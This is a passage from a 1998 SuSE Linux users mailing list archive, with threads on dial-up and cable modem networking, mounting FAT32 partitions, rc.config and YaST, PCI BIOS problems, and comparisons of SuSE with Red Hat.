version of Apache to get it to handle the proxy service).

I had some problems with setting up dial-on-demand, but thanks to help
from folks in this mailing list, I did get it to work:-)  Still got a
couple of bugs to work out as far as it wanting to dial out on
unscheduled times or for no apparent reason, (which I suspect from what
I've read both here and in the diald mailing list has something to do
with my win95 machine).

My 12 year old son clued me in to the fact that it is possible to telnet
into my linux box from my win95 box, so, that little trick allowed my to
play with starting the internet connection remotely (btw, telnet does
allow the root account to access the modem for minicom but not the
"normal user".)

The gist (I guess) of what I'm trying to say is that compared to either
Microsoft or IBM, Linux does have a lot more information available and
the answers to different questions are more easily found.  IBM seems to
be hung up with the syntax of the command, and Microsoft seems to be of
the mind the user doesn't need the information to accomplish the task
(btw, I found a lot of answers pertaining to Win95 Network configuration
in Linux Utility documentationl).

So it really does surprize me that anyone would state (in so many words)
that Linux/Unix help is cryptic at best!  Sure sometimes it is hard to
follow, but have you ever tried to read the help files on a OS/2 command
or tried to find help on some subject in Windows?  BTW, as far as help
goes, even at the command prompt, I've found Man -k subject quite
informative.

As far as /usr/doc/packages, well, most of the packages (once you find
the one that is most suited to your question) you'd be surprized at what
can be found there:-)

Meanwhile, I guess it is time to get off the soap box:-)


--
cya l8r
Leon McClatchey
leonmcclatchey(a)homemail.com
(Linux Box)

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From s.brennan@bigpond.com Thu Jun 25 03:57:28 1998
From: s.brennan@bigpond.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Mount Fat32 Partitions
Date: Thu, 25 Jun 1998 13:57:28 +1000
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        I have S.u.S.e 5.2 and I really would like to be able to mount a frie=
nds
Fat32 partition when he comes round. I have the updated kernel (2.0.34)
with suse patches already installed. I have tried patching the kernel
myself but I cant seem to get it to work. Can someone PLEASE explain how I
can do it... PROPERLY???

Cheers
Stephen Brennan
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From roberto@cbvcp.com Thu Jun 25 04:35:41 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Mount Fat32 Partitions
Date: Wed, 24 Jun 1998 21:35:41 -0700
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Stephen Brennan wrote:
>=20
>         I have S.u.S.e 5.2 and I really would like to be able to mount a fr=
iends
> Fat32 partition when he comes round. I have the updated kernel (2.0.34)
> with suse patches already installed. I have tried patching the kernel
> myself but I cant seem to get it to work. Can someone PLEASE explain how I
> can do it... PROPERLY???

Yes, and it's so easy it's sickening.  go to yast; adjustments of
installation; set target partitions/filesystems.

Then mount the drive as /whatever  (just as long as  'whatever' isn't an
existing directory under root).  for the type of partition, select
vfat.  reboot, and it's there.

--=20
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From rr44607@swt.edu Thu Jun 25 05:14:43 1998
From: rr44607@swt.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Diald
Date: Thu, 25 Jun 1998 00:14:43 -0500
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What a bunch of horsesh*t. Did you ever read a HOWTO or a FAQ, do a
dejanews search, or did you just assume you were smart enough to figure
it out on your own? People on this list and others are extremely
helpful, when you at least give them a chance to help you. Linux helps
those who help themselves, etc.

        As far as Microsoft goes, Linux WILL overcome. But you can't just
expect to start using a totally new operating system without a learning
curve. That's what makes this fun.

Robb.

> DarkStar wrote:
> 
> > The man page doesn't have examples, and I can't find a Diald
> > help-to.
> 
> Man, you are NEVER going to see examples in unix, they don't believe
> in it. It is part of their "nerdy" rite of passage that they make you
> pass, before you learn Linux. That is part of the reason why
> Microstuff keeps beating the pants off of Linux, when it should be
> other way around.    Those few times when a Linux or Unix author gives
> you an example, it will look like a diamond out there. You will feel
> like you just discovered something new. Gads, this attitude has got to
> change. Sorry everyone, I just had to sound off.
> 
> 
> --
> 73
> Roy
> 
> Roy Keeley (KC4IMC)
> rkeeley(a)dibbs.net
> snail mail= Roy Keeley, 10675 Salt Aire Rd,E.,Theodore,AL 36582, USA
> APS# 156954, ARA# 4750, C&LS# 162
> 
> 


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From tanc@cuug.ab.ca Thu Jun 25 05:27:15 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Network - Setup
Date: Wed, 24 Jun 1998 23:27:15 -0600
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YaST does have its limitations.  I find it not as easy to edit the
rc.config files through YaST because I have to browse through it item by
item in that small little window.  That's one of the reasons why I am
editing the rc.config file directly. =20

Aside from that, I am using a cable modem connection that uses DHCP for IP
assignment.  So, I have to make the machine bring up eth0, but don't
assign it an IP during boot up.  Right after the card has been brought up,
I will get dhcpcd to get it an IP.  This way, going in to rc.config to
delete the entries for IPADDR_0 and IFCONFIG_0 while keeping NETDEV_0 is a
lot easier than using YaST.

C. J. Tan
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            "An engineer made programmer is one=20
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On Wed, 24 Jun 1998, Arun Khan wrote:

>=20
> C. J. Kenneth Tan wrote:
> >=20
> > To bring 'dummy' down, go into /etc/rc.config and change the line for
> > 'dummy' so that during boot up 'dummy' is not even brought up.  While you
> > are at it, you may configure the settings for the ethernet card in the
> > same file as well.
> >=20
> > On Wed, 24 Jun 1998, Michael Clark wrote:
> >=20
> > >
> > > Subba Rao wrote:
> > >
> > > > Hello,
> > > >
> > > > I am new to SuSE. I installed SuSE on my machine and used YAST to
> > > > configure the network.
> > > > After I restarted the system, the "ifconfig" command, shows the loopb=
ack
> > > > device and dummy device.
> > > > It did not find the eth0 device. How do I get the system to find the
> > > > eth0 device?
> > > >
> > > > Thank you.
> > > >
> > > > Subba Rao
>=20
> I suggest using YaST i.s.o of editing /etc/rc.config directly. Most of
> the system administration can be done using YaST.  It takes a little
> while getting used to it.  It also updates relevant config files.  If
> you find suggestions for the tool then send email to feedback(a)suse.de.
>=20
> HTH
> Arun Khan
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From darkway@hotmail.com Thu Jun 25 07:21:44 1998
From: darkway@hotmail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Thu, 25 Jun 1998 00:21:44 -0700
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YEs i agree.SuSE rocks.
I tried redhat 5.1 but the install is broken and the tech support is non=20
existent.INfact i sent 4 e-mails in the registered support section and=20
didn't get 1 REPLY!!
I think redhat is waaay to commercial to give a dam about makening a=20
decent distro.All my freinds that have run redhat say its pretty screwy=20
and buggy.well SuSE i'm yet to find one hole one bug one anything.The=20
german maybe kinda heh distruptive but hell the book kicks the hell=20
outta the redhat book by far!
Great programming and this mailing list rules.So bada boom bada bing=20
hehe=20

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>I have been using S.u.S.E. Linux since 5.1 and I have been very happy=20
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>it.  I don't know that much about the manual because I hate to read
>manuals unless I ultimately have to do that.  But when I do read it, I
>find it very informative.  One thing that I have gotten used to with=20
any
>Liinux distribution is: don't expect any technical support from the
>vendor.  So just hope that whatever comes out of the vendor's door is
>perfect, or closest to perfect.  Then it is up to you to do the rest,
>making sure that it works on your machine.  It is also when I have to=20
dig
>around the system that I leant most.  If you think S.u.S.E. is bad, try
>Red Hat and you will appreciate how good S.u.S.E. is. =20
>
>On Wed, 24 Jun 1998, Howard Arons wrote:
>
>>=20
>> On Wed, Jun 24, 1998 at 10:54:57AM -0600, nelsen(a)telusplanet.net=20
wrote:
>> >=20
>> >  It is very easy to
>> > install, a bootable CD with self installer.
>>=20
>> I agree with that. It is easy to install, YaST is a good sys admin=20
tool,
>> and the comm'l distribution (I have SuSE 5.2) has tons of nice apps.=20
BUT,
>> see below for the darker side (IMHO).
>>=20
>> >If you get the commercial
>> > version, I am told that it features a very good handbook and 60=20
days of
>> > installation support.
>>=20
>> 
>>=20
>> NOT true, in my (limited, newbie) experience. The manual really=20
pertains,
>> at least in part, to versions older that 5.2. Of equal concern is the
>> quality of the German -> English translation. Sometimes it's just=20
funny
>> but clear, but other times there's no hope of getting the meaning=20
intended.
>>=20
>> Technical support is poor to nonexistent, except for the folks (SuSE=20
and
>> others) on this list. Phone support isn't toll free (in the US) and=20
is only
>> available on Tue and Fri. E-mail support has not worked for me 2 out=20
of 2=20
>> times.
>>=20
>> 
>>=20
>> Howard Arons
>> --=20
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From darkway@hotmail.com Thu Jun 25 07:37:15 1998
From: darkway@hotmail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Re: PCI modem(big Q)
Date: Thu, 25 Jun 1998 00:37:15 -0700
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Ah thanks first i thought it was my cards or this or that and wasn't=20
sure what to do i have plenty of pci cards and don't want to live in any=20
restriction
I'm already hurting for cash but how much does a motherboard for a AMD=20
K6 200 MHz Cost really(that will work with linux/pci access)
i'v heard motherboards could go from 70 to 1200 $'s

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>On Wed, 24 Jun 1998, Dark Way wrote:
>
>> Would you or anyone happen to know why when installing linux except=20
suse=20
>> eide003*pci bios access disabled* the system reboots?
>
>You have a broken motherboard/BIOS. In some cases updating the BIOS=20
helps.=20
>If you do not use any PCI components, you can live with this=20
restriction
>and wait for 2.2.0.  In kernel 2.1.x you are able to specify the way=20
the
>kernel accesses the PCI BIOS. From Configure.help (2.1.106):=20
>
>PCI BIOS support
>CONFIG_PCI_BIOS
>  If you have enabled PCI bus support above, you probably want to
>  allow Linux to use your PCI BIOS to detect the PCI devices and
>  determine their configuration. Note: some old PCI motherboards have
>  BIOS bugs and may crash if you say Y here -- for such motherboards,
>  you should say N here and say Y to "PCI direct access support"
>  instead.
>
>  Except for some special cases (embedded systems with no BIOS), you
>  probably should say Y here.
>
>PCI direct access support
>CONFIG_PCI_DIRECT
>  If you don't want to use the PCI BIOS (e.g., because you run some
>  embedded system with no BIOS at all) or Linux says it cannot use
>  your PCI BIOS, you can enable direct PCI hardware here. It might fail
>  if your machine is based on some unusual chipset, but it usually
>  works. If both PCI BIOS and direct PCI access are enabled, the use
>  of BIOS is preferred. If unsure, say Y.
>
>    Hubert
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From hongfeng@public.wh.hb.cn Thu Jun 25 08:43:40 1998
From: hongfeng@public.wh.hb.cn
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Diald
Date: Thu, 25 Jun 1998 16:43:40 +0800
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> As far as Microsoft goes, Linux WILL overcome. But you can't just
> expect to start using a totally new operating system without a learning
> curve. That's what makes this fun.

Right.  For Linux user, s/he has to play 2 roles in the mean time, both
the end user, and the sysop or network administrator.  While on Win 95,
s/he is only a end user.

The difference is huge: as the sysop or net admin,  one can use the PC
workstation  in much more flexible way, and save many time and
money (needless to say, Linux is nearly free of charge.)

Surely you need to read several good guide books, know some basic
conceptions of Linux, IMHO,  you can find the best books from O'Reilly
web site http://www.oreilly.com>

Also the situation on Linux workstation is significantly changed recently:
GUI-based desktop environments and applications more and more
appeared in the market.  For example, with KDE,  you can easily
switch from Windows to Linux. With Applixwares or StarOffice,
you can do all the office jobs as you did with MS-Office.

Best,
Frederic

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From hongfeng@public.wh.hb.cn Thu Jun 25 08:45:53 1998
From: hongfeng@public.wh.hb.cn
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE problem
Date: Thu, 25 Jun 1998 16:45:53 +0800
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Hi,

thanks to everyone replied to my question with KDE's screensaver, now
I have re-configurated it and the lockscreen problem worked out.

Best,
Frederic

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From weissel@jupiter.ph-cip.uni-koeln.de Thu Jun 25 08:52:32 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Behaviour
Date: Thu, 25 Jun 1998 10:52:32 +0200
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Hi Jon!

Trying to kill the keyboard, jonno(a)printsters.com produced:
> like it's a huge problem, but annoying nonetheless; it makes things seem
> kind of disjointed.  Each strange pause is accompanied by a disc access, I
> think.  And even then, this only develops when a few things get going!

Aeh, pray tell, how much main memory does your box have? 
Does your xosview (I assume it's running (in the lower right corner,
usually) show "PAGE" activity when these things happen?

If yes, you may be very short on memory in that conditions which could
lead to much swapping ... but if you change windows after some time
(especially if on the page you change to Netscape is running) then it
should take a few seconds for the windows to rebuild completely (i.e.
all text is there etc.).

-Wolfgang


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From subb3@ibm.net Thu Jun 25 10:57:46 1998
From: subb3@ibm.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Network - Setup
Date: Thu, 25 Jun 1998 06:57:46 -0400
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If I disable dummy device in rc.config, can I have do dial-up connections? Wi=
ll it

effect my PPP setup and PPP connections?

Also, Can I have dummy device AND ethernet device enabled?

Thank you.

Subba Rao
subb3(a)ibm.net

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From satan3@home.com Thu Jun 25 14:37:10 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Diald
Date: Thu, 25 Jun 1998 09:37:10 -0500
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Most windows users let their os master them, whereas unix users
generally are the masters of their os.  It just depends what kind of
commitment you are willing to make.  Most people are completely happy
not understanding how things work on their pc, as long as they can
connect to Aol and use Office97 they are happy.
BTW, it's nice to be back.  I was offline for several days, but now I'm
back, and with bandwidth to spare.  Setting up a cable modem in linux
can be done blindfolded, in fact, I would say it was easier than doing
it in windows.  I downloaded a 12mb file off sunsite last night at
475k/sec (woohoo!), although it's usually around 70k/sec.  I recommend
cable heartily if it's available where you live, it's faster than the t1
I am used to using at school.  If anyone has any insight into the
security issues regarding cable modems and any preventative measures, I
would appreciate the feedback.
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From tanc@cuug.ab.ca Thu Jun 25 15:15:34 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Diald
Date: Thu, 25 Jun 1998 09:15:34 -0600
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Yep, cable modem is fast!  I love it.  I find my machine at home faster
than my connection at work in the university. =20

As for security, I don't know much myself.  I have been told by a few
people to disable rsh and telnet.  Instead of using those two types of
connection, use ssh which is more secure.  You might want to go in to
inetd.conf and remove ' -w ' from the fingerd line.  Essentially, do
everything to prevent others from finding out what machine you have there.
This way, you can wart off those who try to hack any particular system.
Someone even suggested to me to use OpenBSD which is very secure to be the
firewall, and use Linux behind the firewall.  You can set up OpenBSD on an
old 386 or 486 for that task.  But one caveat that I can see is that there
is no DHCP client for OpenBSD at this point in time - at least to my
knowledge. =20

My service provider does not allow my machine to have anonymous FTP.  So
I have to disable it.  Also, they don't allow me to run a web server.  For
this, there are a few ways to get around it, like moving it to another
port.

On Thu, 25 Jun 1998, Michael Lankton wrote:

>=20
> Most windows users let their os master them, whereas unix users
> generally are the masters of their os.  It just depends what kind of
> commitment you are willing to make.  Most people are completely happy
> not understanding how things work on their pc, as long as they can
> connect to Aol and use Office97 they are happy.
> BTW, it's nice to be back.  I was offline for several days, but now I'm
> back, and with bandwidth to spare.  Setting up a cable modem in linux
> can be done blindfolded, in fact, I would say it was easier than doing
> it in windows.  I downloaded a 12mb file off sunsite last night at
> 475k/sec (woohoo!), although it's usually around 70k/sec.  I recommend
> cable heartily if it's available where you live, it's faster than the t1
> I am used to using at school.  If anyone has any insight into the
> security issues regarding cable modems and any preventative measures, I
> would appreciate the feedback.
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From gecko@benham.net Thu Jun 25 16:17:35 1998
From: gecko@benham.net
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] Mount Fat32 Partitions
Date: Thu, 25 Jun 1998 09:17:35 -0700
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Unless there are some new SuSE patches (and I havn't looked...) you should NOT
patch the 2.0.34 kernel.  The SuSE kernel was 2.0.33 with some of the patches
that ultimatly went into 2.0.34... so you'd be trying to install an already
installed patch.. so to speak.

On 25-Jun-98 Stephen Brennan wrote:
>=20
>       I have S.u.S.e 5.2 and I really would like to be able to mount a frie=
nds
> Fat32 partition when he comes round. I have the updated kernel (2.0.34)
> with suse patches already installed. I have tried patching the kernel
> myself but I cant seem to get it to work. Can someone PLEASE explain how I
> can do it... PROPERLY???

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From nelsen@telusplanet.net Thu Jun 25 16:28:54 1998
From: nelsen@telusplanet.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re:What does SuSE stand for?
Date: Thu, 25 Jun 1998 10:28:54 -0600
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At 6/24/1998, you wrote:
>
>>If you get the commercial version,...
>> it features a very good handbook and 60 days of..support.
>
>NOT true, in my (limited, newbie) experience.
>
>Howard Arons
>-- 
Perhaps vendors of commercial distributions should contemplate the extent
to which they are in competition with their own code in the GSL.  IMHO, if
a commercial Linux vendor offered an excellent manual and solid tech
support, they could capture a very large market share.  My perception is
that experienced UNIX / Linux users are fine with Slackware and net
downloads as required.  They don't need hand-holding or no steenkin manual.
 But we might guess that the larger potential market is the great unwashed
masses of Windows users who wish to migrate to a higher level of computing.
 We come into Linux dumb as the proverbial post looking for that value
added support the we suppose would be part and parcel with a commercial
distribution.  When it's not evident (by reading the news groups) we go
GSL.  In the long run however, learning it the hard way may be the best
teacher.  This concludes the philosophical portion of today's programing.

Dave
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From schullersite@NOSPAMworldnet.att.net.suse.de Thu Jun 25 17:36:20 1998
From: schullersite@NOSPAMworldnet.att.net.suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Re:What does SuSE stand for?
Date: Thu, 25 Jun 1998 12:36:20 -0500
Message-ID: <35928A94.16043909@NOSPAMworldnet.att.net>
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David Nelsen wrote:
>=20
> At 6/24/1998, you wrote:
> >
> >>If you get the commercial version,...
> >> it features a very good handbook and 60 days of..support.
> >
> >NOT true, in my (limited, newbie) experience.
> >
> >Howard Arons
> >--
> Perhaps vendors of commercial distributions should contemplate the extent
> to which they are in competition with their own code in the GSL.  IMHO, if
> a commercial Linux vendor offered an excellent manual and solid tech
> support, they could capture a very large market share.  My perception is
> that experienced UNIX / Linux users are fine with Slackware and net
> downloads as required.  They don't need hand-holding or no steenkin manual.
>  But we might guess that the larger potential market is the great unwashed
> masses of Windows users who wish to migrate to a higher level of computing.
>  We come into Linux dumb as the proverbial post looking for that value
> added support the we suppose would be part and parcel with a commercial
> distribution.  When it's not evident (by reading the news groups) we go
> GSL.  In the long run however, learning it the hard way may be the best
> teacher.  This concludes the philosophical portion of today's programing.
>=20
> Dave
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The SuSE commercial distribution is well worth all $35 that Linux
Central ( http://www.linuxcentral.com> )charges for it.  You get=
 a 400+
page book, 4 CD's full of software, a boot disk and 60 days of tech
support that I've _never_ had to use-  their book and the HOWTO's have
been all I need.

I don't know what Howard's experience has been, but this is far and away
the best Linux distribution I've ever bought.  It blows the doors off of
Red Hat for completeness and lack of bugs.

Ken

--=20

Ken Schuller

Network Systems Specialist

NovaNET Learning, Inc.

 Take out the spam foil to reply via e-mail. 

Incidentally, I speak for me.  That's all.  No one else.

Linux-  the best things in life are free! (Or at least GPL'ed...)
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From hekate@intergate.bc.ca Thu Jun 25 17:59:34 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Re:What does SuSE stand for?
Date: Thu, 25 Jun 1998 10:59:34 -0700
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I agree. SuSE is awesome, and I like it far better than RH. They seem to
think things out thoroughly and concentrate on efficiency. RH, *does* have
glibc and egcs, and my SuSE, doesn't yet, but other than a few upgrades
(which I suspect happens this way because of SuSE's wanting STABILITY and
not to just get the 'latest stuff') like this, I can't complain. Besides
it's also friendly to people coming FROM the other dists, so you get the
enhanced functionality of the changed dist without any significant
downtime. I mention this cause I don't think going from Slak to Debian, or
Stampede would be quite as easy (though I could be wrong)=20

>=20
> The SuSE commercial distribution is well worth all $35 that Linux
> Central ( http://www.linuxcentral.com> )charges for it.  You g=
et a 400+
> page book, 4 CD's full of software, a boot disk and 60 days of tech
> support that I've _never_ had to use-  their book and the HOWTO's have
> been all I need.
>=20
> I don't know what Howard's experience has been, but this is far and away
> the best Linux distribution I've ever bought.  It blows the doors off of
> Red Hat for completeness and lack of bugs.
>=20
> Ken
> --=20
>=20
> Ken Schuller
>=20
> Network Systems Specialist
>=20
> NovaNET Learning, Inc.
>=20
>  Take out the spam foil to reply via e-mail. 
>=20
> Incidentally, I speak for me.  That's all.  No one else.
>=20
> Linux-  the best things in life are free! (Or at least GPL'ed...)
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From subb3@ibm.net Thu Jun 25 19:27:40 1998
From: subb3@ibm.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Network - Setup
Date: Thu, 25 Jun 1998 15:27:40 -0400
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Ken,

Thank you for replying. The SuSE system has a Ethernet connection to my LAN. =
Also, I
want to use this system for my dial-up connection. What devices will PPP use =
for dial-up
connection? The goal is to
implement IP Masq. through SuSE system.

Thank you again.

Subba Rao

C. J. Kenneth Tan wrote:

> Subba,
>
> The purpose of dummy device is for applications that require some kind of
> network connection to function.  One such application is Emacs, if I am
> not wrong.  So if you only have a dial-up connection, I think you should
> leave dummy device there.  But if you have an ethernet device also, you
> may disable dummy.  Is your machine connected to an isolated LAN and is
> connected to the outside world via dial-up connection?  If that is the
> case, I don't see why you can't disable dummy device.
>
> To give you an example, my machine at home is connected via cable modem to
> the outside world.  Since I don't even have a phone line at home because I
> use a cellular phone, there is no point in even compiling PPP or SLIP
> cupport into the kernel, and no point in compiling dummy device support
> into the kernel either.  If dummy support is not compiled into the kernel,
> what is the point of enabling it in rc.config?
>
> Hope this helps a bit.
>
> Regards,
> C. J. Tan

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From hlarons@mail.comcat.com Thu Jun 25 20:13:33 1998
From: hlarons@mail.comcat.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Thu, 25 Jun 1998 16:13:33 -0400
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On Wed, Jun 24, 1998 at 03:46:27PM -0600, tanc(a)cuug.ab.ca wrote:
> I have been using S.u.S.E. Linux since 5.1 and I have been very happy with
> it.  I don't know that much about the manual because I hate to read
> manuals unless I ultimately have to do that.  But when I do read it, I
> find it very informative.

Generally, I agree with that. But, a big part of the "value added" proposition
that SuSE is selling with the "official" distro is the (much touted) manual.
If it's part of what I'm paying the $50 for it ought to provide value.

> One thing that I have gotten used to with any
> Liinux distribution is: don't expect any technical support from the
> vendor.=20

See my comments above re value added.

> It is also when I have to dig
> around the system that I leant most.  If you think S.u.S.E. is bad, try
> Red Hat and you will appreciate how good S.u.S.E. is. =20

Once again, I agree. I've never tried Red Hat, but SuSE isn't so opaque that
you can't get back to basics if the automagic feature doesn't work. Did that
with PPP and printing too (with big time help from this list).

> On Wed, 24 Jun 1998, Howard Arons wrote:
>=20
> > 
> >=20
> > NOT true, in my (limited, newbie) experience. The manual really pertains,
> > at least in part, to versions older that 5.2. Of equal concern is the
> > quality of the German -> English translation. Sometimes it's just funny
> > but clear, but other times there's no hope of getting the meaning intende=
d.
> >=20
> > Technical support is poor to nonexistent, except for the folks (SuSE and
> > others) on this list. Phone support isn't toll free (in the US) and is on=
ly
> > available on Tue and Fri. E-mail support has not worked for me 2 out of 2=
=20
> > times.
> >=20
> > 
> >=20
> > Howard Arons

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From hlarons@mail.comcat.com Thu Jun 25 20:13:48 1998
From: hlarons@mail.comcat.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Re:What does SuSE stand for?
Date: Thu, 25 Jun 1998 16:13:48 -0400
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On Thu, Jun 25, 1998 at 10:28:54AM -0600, nelsen(a)telusplanet.net wrote:
> 

[Much sound philosophy snipped]

> In the long run however, learning it the hard way may be the best
> teacher.  This concludes the philosophical portion of today's programing.
> 
> Dave

You're might right. The valuable stuff about Linux that I've learned has
come from getting under the hood. But, as a newbie, I didn't trust myself
to start "cold" with something like Slackware. Now I feel a bit different,
but that's with hindsight.

Howard Arons

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From tanc@cuug.ab.ca Thu Jun 25 20:47:31 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Thu, 25 Jun 1998 14:47:31 -0600
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On Thu, 25 Jun 1998, Howard Arons wrote:

> On Wed, Jun 24, 1998 at 03:46:27PM -0600, tanc(a)cuug.ab.ca wrote:
> > I have been using S.u.S.E. Linux since 5.1 and I have been very happy with
> > it.  I don't know that much about the manual because I hate to read
> > manuals unless I ultimately have to do that.  But when I do read it, I
> > find it very informative.
>=20
> Generally, I agree with that. But, a big part of the "value added" proposit=
ion
> that SuSE is selling with the "official" distro is the (much touted) manual.
> If it's part of what I'm paying the $50 for it ought to provide value.

I do realize that.  But I think that may only be the case in a perfect
world.  Get Red Hat, try to install it, try to get it to work as well as
your S.u.S.E. system then tell me about value added.  Can someone here
help me with what's the price of Red Hat package and what's the price of
S.u.S.E.?  If you are talking about free distribution, you can download
both Red Hat and S.u.S.E. off the Net.  Try installing both that way, and
you'll see what I mean.  Like I said before, with any Linux distribution,
just hope that the package is perfect or at least near perfect when it
leaves the vendor's door. =20

Personally, I find Red Hat very convoluted in that the configuration is
thrown around everywhere.  Remote administration is not as easy as
S.u.S.E. also.  I would love to hear from anyone who managed to be doing
remote administration on a Red Hat system for more than 3 weeks. =20

>=20
> > One thing that I have gotten used to with any
> > Liinux distribution is: don't expect any technical support from the
> > vendor.=20
>=20
> See my comments above re value added.
>=20
> > It is also when I have to dig
> > around the system that I leant most.  If you think S.u.S.E. is bad, try
> > Red Hat and you will appreciate how good S.u.S.E. is. =20
>=20
> Once again, I agree. I've never tried Red Hat, but SuSE isn't so opaque that
> you can't get back to basics if the automagic feature doesn't work. Did that
> with PPP and printing too (with big time help from this list).
>=20
> > On Wed, 24 Jun 1998, Howard Arons wrote:
> >=20
> > > 
> > >=20
> > > NOT true, in my (limited, newbie) experience. The manual really pertain=
s,
> > > at least in part, to versions older that 5.2. Of equal concern is the
> > > quality of the German -> English translation. Sometimes it's just funny
> > > but clear, but other times there's no hope of getting the meaning inten=
ded.
> > >=20
> > > Technical support is poor to nonexistent, except for the folks (SuSE and
> > > others) on this list. Phone support isn't toll free (in the US) and is =
only
> > > available on Tue and Fri. E-mail support has not worked for me 2 out of=
 2=20
> > > times.
> > >=20
> > > 
> > >=20
> > > Howard Arons
> --=20
> Powered by SuSE Linux 5.2 -- kernel 2.0.33
> Communications by Mutt 0.89
>=20

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E-mail: cjtan(a)acm.org                   Telephone: 1-403-220-8038=20
        tanc(a)cuug.ab.ca                            1-403-606-4257=20
URL: http://www.cuug.ab.ca/~tanc>        Facsimile: 1-403-284-19=
80

            "An engineer made programmer is one=20
                who attempts to solve a problem,
              A programmer made engineer is one=20
                who knows how to solve a problem."
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From bb@suse.com Thu Jun 25 21:12:58 1998
From: bb@suse.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Network - Setup
Date: Thu, 25 Jun 1998 14:12:58 -0700
Message-ID: <3592BD5A.B62648F2@suse.com>
In-Reply-To: <35922D2A.6F92739B@ibm.net>
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Subba Rao wrote:
>=20
> If I disable dummy device in rc.config, can I have do dial-up connections? =
Will it

Yes you can. The dummy device is only used to have any network device.
However you can have as much devices as you want (not true, the limit is 256?)
at the same time.

> effect my PPP setup and PPP connections?

no.
=20
> Also, Can I have dummy device AND ethernet device enabled?

Yes, see above staement...

Cioa,
        BB


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From jonathan@aracnet.net Thu Jun 25 21:17:57 1998
From: jonathan@aracnet.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Diald
Date: Thu, 25 Jun 1998 21:17:57 +0000
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On 25-Jun-98 hongfeng wrote:

Ah but for many, myself included, while we love the hack, the raw, bleeding
edge stuff, we still have to function!  And since Linux is in my spare time,
which is becoming more and more spare as time goes by, a quick setup is like
gold.  A plain-english HOWTO is sweetness itself.

I ONLY have my Internet stuff on the Linux side of things.  But I'm not going
to stop collecting mail for a week while I figure out how the OSI stack
is implemented.  I want PPP, quick!  FetchPOP is AWESOME (5 minutes of setup =
at
worst, and um, *is* there a man page???  Why???).

I will only recommend Linux to the most technically savvy people I know, that
also will have a bit of time and desire to figure out HOW to get something to
work (Even if it's something they do already in another OS).

The GUI can only help, it's not going to get in my way if I want to hack out =
an
Awk script and it will make printing a quick document that much easier.

>> As far as Microsoft goes, Linux WILL overcome. But you can't just
>> expect to start using a totally new operating system without a learning
>> curve. That's what makes this fun.
>=20
> Right.  For Linux user, s/he has to play 2 roles in the mean time, both
> the end user, and the sysop or network administrator.  While on Win 95,
> s/he is only a end user.
>=20
> The difference is huge: as the sysop or net admin,  one can use the PC
> workstation  in much more flexible way, and save many time and
> money (needless to say, Linux is nearly free of charge.)
>
> Also the situation on Linux workstation is significantly changed recently:
> GUI-based desktop environments and applications more and more
> appeared in the market.  For example, with KDE,  you can easily
> switch from Windows to Linux. With Applixwares or StarOffice,
> you can do all the office jobs as you did with MS-Office.


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From nelsen@telusplanet.net Thu Jun 25 21:39:33 1998
From: nelsen@telusplanet.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Printing Install Manual
Date: Thu, 25 Jun 1998 15:39:33 -0600
Message-ID: <98Jun25.152004-0600_mdt.268235-11277+798@mail.telusplanet.net>
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Hi,

Does anyone know of a satisfactory way of printing \Docu\Book.txt on the
GSL SuSE 5.2 CD?  I have been thus far unable to set any word processor to
print it without lots of spaces here and there and odd line breaks.  TIA

Dave
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From henryw@gte.net Thu Jun 25 22:12:28 1998
From: henryw@gte.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Printing Install Manual
Date: Thu, 25 Jun 1998 22:12:28 +0000
Message-ID: <3592CB4C.836561F@gte.net>
In-Reply-To: <98Jun25.152004-0600_mdt.268235-11277+798@mail.telusplanet.net>
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David Nelsen wrote:
>=20
> Hi,
>=20
> Does anyone know of a satisfactory way of printing \Docu\Book.txt on the
> GSL SuSE 5.2 CD?  I have been thus far unable to set any word processor to
> print it without lots of spaces here and there and odd line breaks.  TIA
>=20
> Dave
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Dave.=20

I'm in the process of converting it to HTML - it's not quite ready for
prime=20
time.

        http://home1.gte.net/henryw/sus=
e/index.html>

You might have more luck stripping the html from this that trying to
print the=20
whole file at once.


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From subb3@ibm.net Fri Jun 26 01:16:23 1998
From: subb3@ibm.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] IRC channel
Date: Thu, 25 Jun 1998 21:16:23 -0400
Message-ID: <3592F667.5800B6DC@ibm.net>
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I created a #suse-linux channel on  irc.cs.rpi.edu server. The channel
is not operated by a bot.
The server does not accept bots. I will stay the channel as long as I
can. Hopefully SuSE Linux
users will start showing up in that channel.

Please join in and show some support.

Thanks.

SubbaRao
subb3(a)ibm.net

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From satan3@home.com Fri Jun 26 01:24:42 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] IRC channel
Date: Thu, 25 Jun 1998 20:24:42 -0500
